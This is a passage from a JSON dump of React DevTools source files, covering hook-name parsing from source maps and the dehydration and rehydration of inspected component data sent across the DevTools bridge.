a null HookSource in parseHookNames()\n    const hookSource = ((hook.hookSource: any): HookSource);\n    const fileName = hookSource.fileName;\n    if (!fileName) {\n      return null; // Should not be reachable.\n    }\n\n    const locationKey = getHookSourceLocationKey(hookSource);\n    const hookParsedMetadata = locationKeyToHookParsedMetadata.get(locationKey);\n    if (!hookParsedMetadata) {\n      return null; // Should not be reachable.\n    }\n\n    const {lineNumber, columnNumber} = hookSource;\n    if (!lineNumber || !columnNumber) {\n      return null; // Should not be reachable.\n    }\n\n    const {\n      originalSourceURL,\n      originalSourceColumnNumber,\n      originalSourceLineNumber,\n    } = hookParsedMetadata;\n\n    if (\n      originalSourceLineNumber == null ||\n      originalSourceColumnNumber == null ||\n      originalSourceURL == null\n    ) {\n      return null; // Should not be reachable.\n    }\n\n    let name;\n    const {metadataConsumer} = hookParsedMetadata;\n    if (metadataConsumer != null) {\n      name = withSyncPerfMeasurements('metadataConsumer.hookNameFor()', () =>\n        metadataConsumer.hookNameFor({\n          line: originalSourceLineNumber,\n          column: originalSourceColumnNumber,\n          source: originalSourceURL,\n        }),\n      );\n    }\n\n    if (name == null) {\n      name = withSyncPerfMeasurements('getHookName()', () =>\n        getHookName(\n          hook,\n          hookParsedMetadata.originalSourceAST,\n          ((hookParsedMetadata.originalSourceCode: any): string),\n          ((originalSourceLineNumber: any): number),\n          originalSourceColumnNumber,\n        ),\n      );\n    }\n\n    if (__DEBUG__) {\n      console.log(`findHookNames() Found name \"${name || '-'}\"`);\n    }\n\n    const key = getHookSourceLocationKey(hookSource);\n    map.set(key, name);\n  });\n\n  return map;\n}\n\nfunction initializeHookParsedMetadata(\n  locationKeyToHookSourceAndMetadata: LocationKeyToHookSourceAndMetadata,\n) {\n  // Create map of unique source locations (file names plus line and column numbers) to metadata about hooks.\n  const locationKeyToHookParsedMetadata: LocationKeyToHookParsedMetadata =\n    new Map();\n  locationKeyToHookSourceAndMetadata.forEach(\n    (hookSourceAndMetadata, locationKey) => {\n      const hookParsedMetadata: HookParsedMetadata = {\n        metadataConsumer: null,\n        originalSourceAST: null,\n        originalSourceCode: null,\n        originalSourceURL: null,\n        originalSourceLineNumber: null,\n        originalSourceColumnNumber: null,\n        sourceMapConsumer: null,\n      };\n\n      locationKeyToHookParsedMetadata.set(locationKey, hookParsedMetadata);\n    },\n  );\n\n  return locationKeyToHookParsedMetadata;\n}\n\nfunction parseSourceAST(\n  locationKeyToHookSourceAndMetadata: LocationKeyToHookSourceAndMetadata,\n  locationKeyToHookParsedMetadata: LocationKeyToHookParsedMetadata,\n): void {\n  locationKeyToHookSourceAndMetadata.forEach(\n    (hookSourceAndMetadata, locationKey) => {\n      const hookParsedMetadata =\n        locationKeyToHookParsedMetadata.get(locationKey);\n      if (hookParsedMetadata == null) {\n        throw Error(`Expected to find HookParsedMetadata for \"${locationKey}\"`);\n      }\n\n      if (hookParsedMetadata.originalSourceAST !== null) {\n        // Use cached metadata.\n        return;\n      }\n\n      if (\n        hookParsedMetadata.originalSourceURL != null &&\n        hookParsedMetadata.originalSourceCode != null &&\n        hookParsedMetadata.originalSourceColumnNumber != null &&\n        hookParsedMetadata.originalSourceLineNumber != null\n      ) {\n        // Use cached metadata.\n        return;\n      }\n\n      const {lineNumber, columnNumber} = hookSourceAndMetadata.hookSource;\n      if (lineNumber == null || columnNumber == null) {\n        throw Error('Hook source code location not found.');\n      }\n\n      const {metadataConsumer, sourceMapConsumer} = hookParsedMetadata;\n      const runtimeSourceCode =\n        ((hookSourceAndMetadata.runtimeSourceCode: any): string);\n      let hasHookMap = false;\n      let originalSourceURL;\n      let originalSourceCode;\n      let originalSourceColumnNumber;\n      let originalSourceLineNumber;\n      if (areSourceMapsAppliedToErrors() || sourceMapConsumer === null) {\n        // Either the current environment automatically applies source maps to errors,\n        // or the current code had no source map to begin with.\n        // Either way, we don't need to convert the Error stack frame locations.\n        originalSourceColumnNumber = columnNumber;\n        originalSourceLineNumber = lineNumber;\n        // There's no source map to parse here so we can just parse the original source itself.\n        originalSourceCode = runtimeSourceCode;\n        // TODO (named hooks) This mixes runtimeSourceURLs with source mapped URLs in the same cache key space.\n        // Namespace them?\n        originalSourceURL = hookSourceAndMetadata.runtimeSourceURL;\n      } else {\n        const {column, line, sourceContent, sourceURL} =\n          sourceMapConsumer.originalPositionFor({\n            columnNumber,\n            lineNumber,\n          });\n        if (sourceContent === null || sourceURL === null) {\n          throw Error(\n            `Could not find original source for line:${lineNumber} and column:${columnNumber}`,\n          );\n        }\n\n        originalSourceColumnNumber = column;\n        originalSourceLineNumber = line;\n        originalSourceCode = sourceContent;\n        originalSourceURL = sourceURL;\n      }\n\n      hookParsedMetadata.originalSourceCode = originalSourceCode;\n      hookParsedMetadata.originalSourceURL = originalSourceURL;\n      hookParsedMetadata.originalSourceLineNumber = originalSourceLineNumber;\n      hookParsedMetadata.originalSourceColumnNumber =\n        originalSourceColumnNumber;\n\n      if (\n        metadataConsumer != null &&\n        metadataConsumer.hasHookMap(originalSourceURL)\n      ) {\n        hasHookMap = true;\n      }\n\n      if (__DEBUG__) {\n        console.log(\n          `parseSourceAST() mapped line ${lineNumber}->${originalSourceLineNumber} and column ${columnNumber}->${originalSourceColumnNumber}`,\n        );\n      }\n\n      if (hasHookMap) {\n        if (__DEBUG__) {\n          console.log(\n            `parseSourceAST() Found hookMap and skipping parsing for \"${originalSourceURL}\"`,\n          );\n        }\n        // If there's a hook map present from an extended sourcemap then\n        // we don't need to parse the source files and instead can use the\n        // hook map to extract hook names.\n        return;\n      }\n\n      if (__DEBUG__) {\n        console.log(\n          `parseSourceAST() Did not find hook map for \"${originalSourceURL}\"`,\n        );\n      }\n\n      // The cache also serves to deduplicate parsing by URL in our loop over location keys.\n      // This may need to change if we switch to async parsing.\n      const sourceMetadata = originalURLToMetadataCache.get(originalSourceURL);\n      if (sourceMetadata != null) {\n        if (__DEBUG__) {\n          console.groupCollapsed(\n            `parseSourceAST() Found cached source metadata for \"${originalSourceURL}\"`,\n          );\n          console.log(sourceMetadata);\n          console.groupEnd();\n        }\n        hookParsedMetadata.originalSourceAST = sourceMetadata.originalSourceAST;\n        hookParsedMetadata.originalSourceCode =\n          sourceMetadata.originalSourceCode;\n      } else {\n        try {\n          // TypeScript is the most commonly used typed JS variant so let's default to it\n          // unless we detect explicit Flow usage via the \"@flow\" pragma.\n          const plugin =\n            originalSourceCode.indexOf('@flow') > 0 ? 'flow' : 'typescript';\n\n          // TODO (named hooks) This is probably where we should check max source length,\n          // rather than in loadSourceAndMetatada -> loadSourceFiles().\n          // TODO(#22319): Support source files that are html files with inline script tags.\n          const originalSourceAST = withSyncPerfMeasurements(\n            '[@babel/parser] parse(originalSourceCode)',\n            () =>\n              parse(originalSourceCode, {\n                sourceType: 'unambiguous',\n                plugins: ['jsx', plugin],\n              }),\n          );\n          hookParsedMetadata.originalSourceAST = originalSourceAST;\n\n          if (__DEBUG__) {\n            console.log(\n              `parseSourceAST() Caching source metadata for \"${originalSourceURL}\"`,\n            );\n          }\n\n          originalURLToMetadataCache.set(originalSourceURL, {\n            originalSourceAST,\n            originalSourceCode,\n          });\n        } catch (error) {\n          throw new Error(\n            `Failed to parse source file: ${originalSourceURL}\\n\\n` +\n              `Original error: ${error}`,\n          );\n        }\n      }\n    },\n  );\n}\n\nfunction parseSourceMaps(\n  locationKeyToHookSourceAndMetadata: LocationKeyToHookSourceAndMetadata,\n  locationKeyToHookParsedMetadata: LocationKeyToHookParsedMetadata,\n) {\n  locationKeyToHookSourceAndMetadata.forEach(\n    (hookSourceAndMetadata, locationKey) => {\n      const hookParsedMetadata =\n        locationKeyToHookParsedMetadata.get(locationKey);\n      if (hookParsedMetadata == null) {\n        throw Error(`Expected to find HookParsedMetadata for \"${locationKey}\"`);\n      }\n\n      const {runtimeSourceURL, sourceMapJSON} = hookSourceAndMetadata;\n\n      // If we've already loaded the source map info for this file,\n      // we can skip reloading it (and more importantly, re-parsing it).\n      const runtimeMetadata = runtimeURLToMetadataCache.get(runtimeSourceURL);\n      if (runtimeMetadata != null) {\n        if (__DEBUG__) {\n          console.groupCollapsed(\n            `parseHookNames() Found cached runtime metadata for file \"${runtimeSourceURL}\"`,\n          );\n          console.log(runtimeMetadata);\n          console.groupEnd();\n        }\n\n        hookParsedMetadata.metadataConsumer = runtimeMetadata.metadataConsumer;\n        hookParsedMetadata.sourceMapConsumer =\n          runtimeMetadata.sourceMapConsumer;\n      } else {\n        if (sourceMapJSON != null) {\n          const sourceMapConsumer = withSyncPerfMeasurements(\n            'new SourceMapConsumer(sourceMapJSON)',\n            () => SourceMapConsumer(sourceMapJSON),\n          );\n\n          const metadataConsumer = withSyncPerfMeasurements(\n            'new SourceMapMetadataConsumer(sourceMapJSON)',\n            () => new SourceMapMetadataConsumer(sourceMapJSON),\n          );\n\n          hookParsedMetadata.metadataConsumer = metadataConsumer;\n          hookParsedMetadata.sourceMapConsumer = sourceMapConsumer;\n\n          // Only set once to avoid triggering eviction/cleanup code.\n          runtimeURLToMetadataCache.set(runtimeSourceURL, {\n            metadataConsumer: metadataConsumer,\n            sourceMapConsumer: sourceMapConsumer,\n          });\n        }\n      }\n    },\n  );\n}\n\nexport function purgeCachedMetadata(): void {\n  originalURLToMetadataCache.reset();\n  runtimeURLToMetadataCache.reset();\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hooks/parseHookNames/parseSourceAndMetadata.worker.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport * as parseSourceAndMetadataModule from './parseSourceAndMetadata';\n\nexport const parseSourceAndMetadata =\n  parseSourceAndMetadataModule.parseSourceAndMetadata;\nexport const purgeCachedMetadata =\n  parseSourceAndMetadataModule.purgeCachedMetadata;\n"
  },
  {
    "path": "packages/react-devtools-shared/src/hydration.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport {\n  getDataType,\n  getDisplayNameForReactElement,\n  getAllEnumerableKeys,\n  getInObject,\n  formatDataForPreview,\n  setInObject,\n} from 'react-devtools-shared/src/utils';\n\nimport {REACT_LEGACY_ELEMENT_TYPE} from 'shared/ReactSymbols';\n\nimport type {\n  DehydratedData,\n  InspectedElementPath,\n} from 'react-devtools-shared/src/frontend/types';\n\nimport noop from 'shared/noop';\n\nexport const meta = {\n  inspectable: (Symbol('inspectable'): symbol),\n  inspected: (Symbol('inspected'): symbol),\n  name: (Symbol('name'): symbol),\n  preview_long: (Symbol('preview_long'): symbol),\n  preview_short: (Symbol('preview_short'): symbol),\n  readonly: (Symbol('readonly'): symbol),\n  size: (Symbol('size'): symbol),\n  type: (Symbol('type'): symbol),\n  unserializable: (Symbol('unserializable'): symbol),\n};\n\nexport type Dehydrated = {\n  inspectable: boolean,\n  name: string | null,\n  preview_long: string | null,\n  preview_short: string | null,\n  readonly?: boolean,\n  size?: number,\n  type: string,\n};\n\n// Typed arrays, other complex iteratable objects (e.g. Map, Set, ImmutableJS) or Promises need special handling.\n// These objects can't be serialized without losing type information,\n// so a \"Unserializable\" type wrapper is used (with meta-data keys) to send nested values-\n// while preserving the original type and name.\nexport type Unserializable = {\n  name: string | null,\n  preview_long: string | null,\n  preview_short: string | null,\n  readonly?: boolean,\n  size?: number,\n  type: string,\n  unserializable: boolean,\n  [string | number]: any,\n};\n\n// This threshold determines the depth at which the bridge \"dehydrates\" nested data.\n// Dehydration means that we don't serialize the data for e.g. postMessage or stringify,\n// unless the frontend explicitly requests it (e.g. a user clicks to expand a props object).\n//\n// Reducing this threshold will improve the speed of initial component inspection,\n// but may decrease the responsiveness of expanding objects/arrays to inspect further.\nconst LEVEL_THRESHOLD = 2;\n\n/**\n * Generate the dehydrated metadata for complex object instances\n */\nfunction createDehydrated(\n  type: string,\n  inspectable: boolean,\n  data: Object,\n  cleaned: Array<Array<string | number>>,\n  path: Array<string | number>,\n): Dehydrated {\n  cleaned.push(path);\n\n  const dehydrated: Dehydrated = {\n    inspectable,\n    type,\n    preview_long: formatDataForPreview(data, true),\n    preview_short: formatDataForPreview(data, false),\n    name:\n      typeof data.constructor !== 'function' ||\n      typeof data.constructor.name !== 'string' ||\n      data.constructor.name === 'Object'\n        ? ''\n        : data.constructor.name,\n  };\n\n  if (type === 'array' || type === 'typed_array') {\n    dehydrated.size = data.length;\n  } else if (type === 'object') {\n    dehydrated.size = Object.keys(data).length;\n  }\n\n  if (type === 'iterator' || type === 'typed_array') {\n    dehydrated.readonly = true;\n  }\n\n  return dehydrated;\n}\n\n/**\n * Strip out complex data (instances, functions, and data nested > LEVEL_THRESHOLD levels deep).\n * The paths of the stripped out objects are appended to the `cleaned` list.\n * On the other side of the barrier, the cleaned list is used to \"re-hydrate\" the cleaned representation into\n * an object with symbols as attributes, so that a sanitized object can be distinguished from a normal object.\n *\n * Input: {\"some\": {\"attr\": fn()}, \"other\": AnInstance}\n * Output: {\n *   \"some\": {\n *     \"attr\": {\"name\": the fn.name, type: \"function\"}\n *   },\n *   \"other\": {\n *     \"name\": \"AnInstance\",\n *     \"type\": \"object\",\n *   },\n * }\n * and cleaned = [[\"some\", \"attr\"], [\"other\"]]\n */\nexport function dehydrate(\n  data: Object,\n  cleaned: Array<Array<string | number>>,\n  unserializable: Array<Array<string | number>>,\n  path: Array<string | number>,\n  isPathAllowed: (path: Array<string | number>) => boolean,\n  level: number = 0,\n): DehydratedData['data'] {\n  const type = getDataType(data);\n\n  let isPathAllowedCheck;\n\n  switch (type) {\n    case 'html_element':\n      cleaned.push(path);\n      return {\n        inspectable: false,\n        preview_short: formatDataForPreview(data, false),\n        preview_long: formatDataForPreview(data, true),\n        name: data.tagName,\n        type,\n      };\n\n    case 'function':\n      cleaned.push(path);\n      return {\n        inspectable: false,\n        preview_short: formatDataForPreview(data, false),\n        preview_long: formatDataForPreview(data, true),\n        name:\n          typeof data.name === 'function' || !data.name\n            ? 'function'\n            : data.name,\n        type,\n      };\n\n    case 'string':\n      isPathAllowedCheck = isPathAllowed(path);\n      if (isPathAllowedCheck) {\n        return data;\n      } else {\n        return data.length <= 500 ? data : data.slice(0, 500) + '...';\n      }\n\n    case 'bigint':\n      cleaned.push(path);\n      return {\n        inspectable: false,\n        preview_short: formatDataForPreview(data, false),\n        preview_long: formatDataForPreview(data, true),\n        name: data.toString(),\n        type,\n      };\n\n    case 'symbol':\n      cleaned.push(path);\n      return {\n        inspectable: false,\n        preview_short: formatDataForPreview(data, false),\n        preview_long: formatDataForPreview(data, true),\n        name: data.toString(),\n        type,\n      };\n\n    case 'react_element': {\n      isPathAllowedCheck = isPathAllowed(path);\n\n      if (level >= LEVEL_THRESHOLD && !isPathAllowedCheck) {\n        cleaned.push(path);\n        return {\n          inspectable: true,\n          preview_short: formatDataForPreview(data, false),\n          preview_long: formatDataForPreview(data, true),\n          name: getDisplayNameForReactElement(data) || 'Unknown',\n          type,\n        };\n      }\n\n      const unserializableValue: Unserializable = {\n        unserializable: true,\n        type,\n        readonly: true,\n        preview_short: formatDataForPreview(data, false),\n        preview_long: formatDataForPreview(data, true),\n        name: getDisplayNameForReactElement(data) || 'Unknown',\n      };\n      // TODO: We can't expose type because that name is already taken on Unserializable.\n      unserializableValue.key = dehydrate(\n        data.key,\n        cleaned,\n        unserializable,\n        path.concat(['key']),\n        isPathAllowed,\n        isPathAllowedCheck ? 1 : level + 1,\n      );\n      if (data.$$typeof === REACT_LEGACY_ELEMENT_TYPE) {\n        unserializableValue.ref = dehydrate(\n          data.ref,\n          cleaned,\n          unserializable,\n          path.concat(['ref']),\n          isPathAllowed,\n          isPathAllowedCheck ? 1 : level + 1,\n        );\n      }\n      unserializableValue.props = dehydrate(\n        data.props,\n        cleaned,\n        unserializable,\n        path.concat(['props']),\n        isPathAllowed,\n        isPathAllowedCheck ? 1 : level + 1,\n      );\n\n      unserializable.push(path);\n      return unserializableValue;\n    }\n    case 'react_lazy': {\n      isPathAllowedCheck = isPathAllowed(path);\n\n      const payload = data._payload;\n\n      if (level >= LEVEL_THRESHOLD && !isPathAllowedCheck) {\n        cleaned.push(path);\n        const inspectable =\n          payload !== null &&\n          typeof payload === 'object' &&\n          (payload._status === 1 ||\n            payload._status === 2 ||\n            payload.status === 'fulfilled' ||\n            payload.status === 'rejected');\n        return {\n          inspectable,\n          preview_short: formatDataForPreview(data, false),\n          preview_long: formatDataForPreview(data, true),\n          name: 'lazy()',\n          type,\n        };\n      }\n\n      const unserializableValue: Unserializable = {\n        unserializable: true,\n        type: type,\n        preview_short: formatDataForPreview(data, false),\n        preview_long: formatDataForPreview(data, true),\n        name: 'lazy()',\n      };\n      // Ideally we should alias these properties to something more readable but\n      // unfortunately because of how the hydration algorithm uses a single concept of\n      // \"path\" we can't alias the path.\n      unserializableValue._payload = dehydrate(\n        payload,\n        cleaned,\n        unserializable,\n        path.concat(['_payload']),\n        isPathAllowed,\n        isPathAllowedCheck ? 1 : level + 1,\n      );\n      unserializable.push(path);\n      return unserializableValue;\n    }\n    // ArrayBuffers error if you try to inspect them.\n    case 'array_buffer':\n    case 'data_view':\n      cleaned.push(path);\n      return {\n        inspectable: false,\n        preview_short: formatDataForPreview(data, false),\n        preview_long: formatDataForPreview(data, true),\n        name: type === 'data_view' ? 'DataView' : 'ArrayBuffer',\n        size: data.byteLength,\n        type,\n      };\n\n    case 'array':\n      isPathAllowedCheck = isPathAllowed(path);\n      if (level >= LEVEL_THRESHOLD && !isPathAllowedCheck) {\n        return createDehydrated(type, true, data, cleaned, path);\n      }\n      const arr: Array<Object> = [];\n      for (let i = 0; i < data.length; i++) {\n        arr[i] = dehydrateKey(\n          data,\n          i,\n          cleaned,\n          unserializable,\n          path.concat([i]),\n          isPathAllowed,\n          isPathAllowedCheck ? 1 : level + 1,\n        );\n      }\n      return arr;\n\n    case 'html_all_collection':\n    case 'typed_array':\n    case 'iterator':\n      isPathAllowedCheck = isPathAllowed(path);\n      if (level >= LEVEL_THRESHOLD && !isPathAllowedCheck) {\n        return createDehydrated(type, true, data, cleaned, path);\n      } else {\n        const unserializableValue: Unserializable = {\n          unserializable: true,\n          type: type,\n          readonly: true,\n          size: type === 'typed_array' ? data.length : undefined,\n          preview_short: formatDataForPreview(data, false),\n          preview_long: formatDataForPreview(data, true),\n          name:\n            typeof data.constructor !== 'function' ||\n            typeof data.constructor.name !== 'string' ||\n            data.constructor.name === 'Object'\n              ? ''\n              : data.constructor.name,\n        };\n\n        // TRICKY\n        // Don't use [...spread] syntax for this purpose.\n        // This project uses @babel/plugin-transform-spread in \"loose\" mode which only works with Array values.\n        // Other types (e.g. typed arrays, Sets) will not spread correctly.\n        Array.from(data).forEach(\n          (item, i) =>\n            (unserializableValue[i] = dehydrate(\n              item,\n              cleaned,\n              unserializable,\n              path.concat([i]),\n              isPathAllowed,\n              isPathAllowedCheck ? 1 : level + 1,\n            )),\n        );\n\n        unserializable.push(path);\n\n        return unserializableValue;\n      }\n\n    case 'opaque_iterator':\n      cleaned.push(path);\n      return {\n        inspectable: false,\n        preview_short: formatDataForPreview(data, false),\n        preview_long: formatDataForPreview(data, true),\n        name: data[Symbol.toStringTag],\n        type,\n      };\n\n    case 'date':\n      cleaned.push(path);\n      return {\n        inspectable: false,\n        preview_short: formatDataForPreview(data, false),\n        preview_long: formatDataForPreview(data, true),\n        name: data.toString(),\n        type,\n      };\n\n    case 'regexp':\n      cleaned.push(path);\n      return {\n        inspectable: false,\n        preview_short: formatDataForPreview(data, false),\n        preview_long: formatDataForPreview(data, true),\n        name: data.toString(),\n        type,\n      };\n\n    case 'thenable':\n      isPathAllowedCheck = isPathAllowed(path);\n\n      if (level >= LEVEL_THRESHOLD && !isPathAllowedCheck) {\n        cleaned.push(path);\n        return {\n          inspectable:\n            data.status === 'fulfilled' || data.status === 'rejected',\n          preview_short: formatDataForPreview(data, false),\n          preview_long: formatDataForPreview(data, true),\n          name: data.toString(),\n          type,\n        };\n      }\n\n      if (\n        data.status === 'resolved_model' ||\n        data.status === 'resolve_module'\n      ) {\n        // This looks it's a lazy initialization pattern such in Flight.\n        // Since we're about to inspect it. Let's eagerly initialize it.\n        data.then(noop);\n      }\n\n      switch (data.status) {\n        case 'fulfilled': {\n          const unserializableValue: Unserializable = {\n            unserializable: true,\n            type: type,\n            preview_short: formatDataForPreview(data, false),\n            preview_long: formatDataForPreview(data, true),\n            name: 'fulfilled Thenable',\n          };\n\n          unserializableValue.value = dehydrate(\n            data.value,\n            cleaned,\n            unserializable,\n            path.concat(['value']),\n            isPathAllowed,\n            isPathAllowedCheck ? 1 : level + 1,\n          );\n\n          unserializable.push(path);\n\n          return unserializableValue;\n        }\n        case 'rejected': {\n          const unserializableValue: Unserializable = {\n            unserializable: true,\n            type: type,\n            preview_short: formatDataForPreview(data, false),\n            preview_long: formatDataForPreview(data, true),\n            name: 'rejected Thenable',\n          };\n\n          unserializableValue.reason = dehydrate(\n            data.reason,\n            cleaned,\n            unserializable,\n            path.concat(['reason']),\n            isPathAllowed,\n            isPathAllowedCheck ? 1 : level + 1,\n          );\n\n          unserializable.push(path);\n\n          return unserializableValue;\n        }\n        default:\n          cleaned.push(path);\n          return {\n            inspectable: false,\n            preview_short: formatDataForPreview(data, false),\n            preview_long: formatDataForPreview(data, true),\n            name: data.toString(),\n            type,\n          };\n      }\n\n    case 'object':\n      isPathAllowedCheck = isPathAllowed(path);\n\n      if (level >= LEVEL_THRESHOLD && !isPathAllowedCheck) {\n        return createDehydrated(type, true, data, cleaned, path);\n      } else {\n        const object: {\n          [string]: DehydratedData['data'],\n        } = {};\n        getAllEnumerableKeys(data).forEach(key => {\n          const name = key.toString();\n          object[name] = dehydrateKey(\n            data,\n            key,\n            cleaned,\n            unserializable,\n            path.concat([name]),\n            isPathAllowed,\n            isPathAllowedCheck ? 1 : level + 1,\n          );\n        });\n        return object;\n      }\n\n    case 'class_instance': {\n      isPathAllowedCheck = isPathAllowed(path);\n\n      if (level >= LEVEL_THRESHOLD && !isPathAllowedCheck) {\n        return createDehydrated(type, true, data, cleaned, path);\n      }\n\n      const value: Unserializable = {\n        unserializable: true,\n        type,\n        readonly: true,\n        preview_short: formatDataForPreview(data, false),\n        preview_long: formatDataForPreview(data, true),\n        name:\n          typeof data.constructor !== 'function' ||\n          typeof data.constructor.name !== 'string'\n            ? ''\n            : data.constructor.name,\n      };\n\n      getAllEnumerableKeys(data).forEach(key => {\n        const keyAsString = key.toString();\n\n        value[keyAsString] = dehydrate(\n          data[key],\n          cleaned,\n          unserializable,\n          path.concat([keyAsString]),\n          isPathAllowed,\n          isPathAllowedCheck ? 1 : level + 1,\n        );\n      });\n\n      unserializable.push(path);\n\n      return value;\n    }\n    case 'error': {\n      isPathAllowedCheck = isPathAllowed(path);\n\n      if (level >= LEVEL_THRESHOLD && !isPathAllowedCheck) {\n        return createDehydrated(type, true, data, cleaned, path);\n      }\n\n      const value: Unserializable = {\n        unserializable: true,\n        type,\n        readonly: true,\n        preview_short: formatDataForPreview(data, false),\n        preview_long: formatDataForPreview(data, true),\n        name: data.name,\n      };\n\n      // name, message, stack and cause are not enumerable yet still interesting.\n      value.message = dehydrate(\n        data.message,\n        cleaned,\n        unserializable,\n        path.concat(['message']),\n        isPathAllowed,\n        isPathAllowedCheck ? 1 : level + 1,\n      );\n      value.stack = dehydrate(\n        data.stack,\n        cleaned,\n        unserializable,\n        path.concat(['stack']),\n        isPathAllowed,\n        isPathAllowedCheck ? 1 : level + 1,\n      );\n\n      if ('cause' in data) {\n        value.cause = dehydrate(\n          data.cause,\n          cleaned,\n          unserializable,\n          path.concat(['cause']),\n          isPathAllowed,\n          isPathAllowedCheck ? 1 : level + 1,\n        );\n      }\n\n      getAllEnumerableKeys(data).forEach(key => {\n        const keyAsString = key.toString();\n\n        value[keyAsString] = dehydrate(\n          data[key],\n          cleaned,\n          unserializable,\n          path.concat([keyAsString]),\n          isPathAllowed,\n          isPathAllowedCheck ? 1 : level + 1,\n        );\n      });\n\n      unserializable.push(path);\n\n      return value;\n    }\n    case 'infinity':\n    case 'nan':\n    case 'undefined':\n      // Some values are lossy when sent through a WebSocket.\n      // We dehydrate+rehydrate them to preserve their type.\n      cleaned.push(path);\n      return {type};\n\n    default:\n      return data;\n  }\n}\n\nfunction dehydrateKey(\n  parent: Object,\n  key: number | string | symbol,\n  cleaned: Array<Array<string | number>>,\n  unserializable: Array<Array<string | number>>,\n  path: Array<string | number>,\n  isPathAllowed: (path: Array<string | number>) => boolean,\n  level: number = 0,\n): DehydratedData['data'] {\n  try {\n    return dehydrate(\n      parent[key],\n      cleaned,\n      unserializable,\n      path,\n      isPathAllowed,\n      level,\n    );\n  } catch (error) {\n    let preview = '';\n    if (\n      typeof error === 'object' &&\n      error !== null &&\n      typeof error.stack === 'string'\n    ) {\n      preview = error.stack;\n    } else if (typeof error === 'string') {\n      preview = error;\n    }\n    cleaned.push(path);\n    return {\n      inspectable: false,\n      preview_short: '[Exception]',\n      preview_long: preview ? '[Exception: ' + preview + ']' : '[Exception]',\n      name: preview,\n      type: 'unknown',\n    };\n  }\n}\n\nexport function fillInPath(\n  object: Object,\n  data: DehydratedData,\n  path: InspectedElementPath,\n  value: any,\n) {\n  const target = getInObject(object, path);\n  if (target != null) {\n    if (!target[meta.unserializable]) {\n      delete target[meta.inspectable];\n      delete target[meta.inspected];\n      delete target[meta.name];\n      delete target[meta.preview_long];\n      delete target[meta.preview_short];\n      delete target[meta.readonly];\n      delete target[meta.size];\n      delete target[meta.type];\n    }\n  }\n\n  if (value !== null && data.unserializable.length > 0) {\n    const unserializablePath = data.unserializable[0];\n    let isMatch = unserializablePath.length === path.length;\n    for (let i = 0; i < path.length; i++) {\n      if (path[i] !== unserializablePath[i]) {\n        isMatch = false;\n        break;\n      }\n    }\n    if (isMatch) {\n      upgradeUnserializable(value, value);\n    }\n  }\n\n  setInObject(object, path, value);\n}\n\nexport function hydrate(\n  object: any,\n  cleaned: Array<Array<string | number>>,\n  unserializable: Array<Array<string | number>>,\n): Object {\n  cleaned.forEach((path: Array<string | number>) => {\n    const length = path.length;\n    const last = path[length - 1];\n    const parent = getInObject(object, path.slice(0, length - 1));\n    if (!parent || !parent.hasOwnProperty(last)) {\n      return;\n    }\n\n    const value = parent[last];\n\n    if (!value) {\n      return;\n    } else if (value.type === 'infinity') {\n      parent[last] = Infinity;\n    } else if (value.type === 'nan') {\n      parent[last] = NaN;\n    } else if (value.type === 'undefined') {\n      parent[last] = undefined;\n    } else {\n      // Replace the string keys with Symbols so they're non-enumerable.\n      const replaced: {[key: symbol]: boolean | string} = {};\n      replaced[meta.inspectable] = !!value.inspectable;\n      replaced[meta.inspected] = false;\n      replaced[meta.name] = value.name;\n      replaced[meta.preview_long] = value.preview_long;\n      replaced[meta.preview_short] = value.preview_short;\n      replaced[meta.size] = value.size;\n      replaced[meta.readonly] = !!value.readonly;\n      replaced[meta.type] = value.type;\n\n      parent[last] = replaced;\n    }\n  });\n  unserializable.forEach((path: Array<string | number>) => {\n    const length = path.length;\n    const last = path[length - 1];\n    const parent = getInObject(object, path.slice(0, length - 1));\n    if (!parent || !parent.hasOwnProperty(last)) {\n      return;\n    }\n\n    const node = parent[last];\n\n    const replacement = {\n      ...node,\n    };\n\n    upgradeUnserializable(replacement, node);\n\n    parent[last] = replacement;\n  });\n  return object;\n}\n\nfunction upgradeUnserializable(destination: Object, source: Object) {\n  Object.defineProperties(destination, {\n    // $FlowFixMe[invalid-computed-prop]\n    [meta.inspected]: {\n      configurable: true,\n      enumerable: false,\n      value: !!source.inspected,\n    },\n    // $FlowFixMe[invalid-computed-prop]\n    [meta.name]: {\n      configurable: true,\n      enumerable: false,\n      value: source.name,\n    },\n    // $FlowFixMe[invalid-computed-prop]\n    [meta.preview_long]: {\n      configurable: true,\n      enumerable: false,\n      value: source.preview_long,\n    },\n    // $FlowFixMe[invalid-computed-prop]\n    [meta.preview_short]: {\n      configurable: true,\n      enumerable: false,\n      value: source.preview_short,\n    },\n    // $FlowFixMe[invalid-computed-prop]\n    [meta.size]: {\n      configurable: true,\n      enumerable: false,\n      value: source.size,\n    },\n    // $FlowFixMe[invalid-computed-prop]\n    [meta.readonly]: {\n      configurable: true,\n      enumerable: false,\n      value: !!source.readonly,\n    },\n    // $FlowFixMe[invalid-computed-prop]\n    [meta.type]: {\n      configurable: true,\n      enumerable: false,\n      value: source.type,\n    },\n    // $FlowFixMe[invalid-computed-prop]\n    [meta.unserializable]: {\n      configurable: true,\n      enumerable: false,\n      value: !!source.unserializable,\n    },\n  });\n\n  delete destination.inspected;\n  delete destination.name;\n  delete destination.preview_long;\n  delete destination.preview_short;\n  delete destination.size;\n  delete destination.readonly;\n  delete destination.type;\n  delete destination.unserializable;\n}\n"
  },
  {
    "path": "packages/react-devtools-shared/src/inspectedElementCache.js",
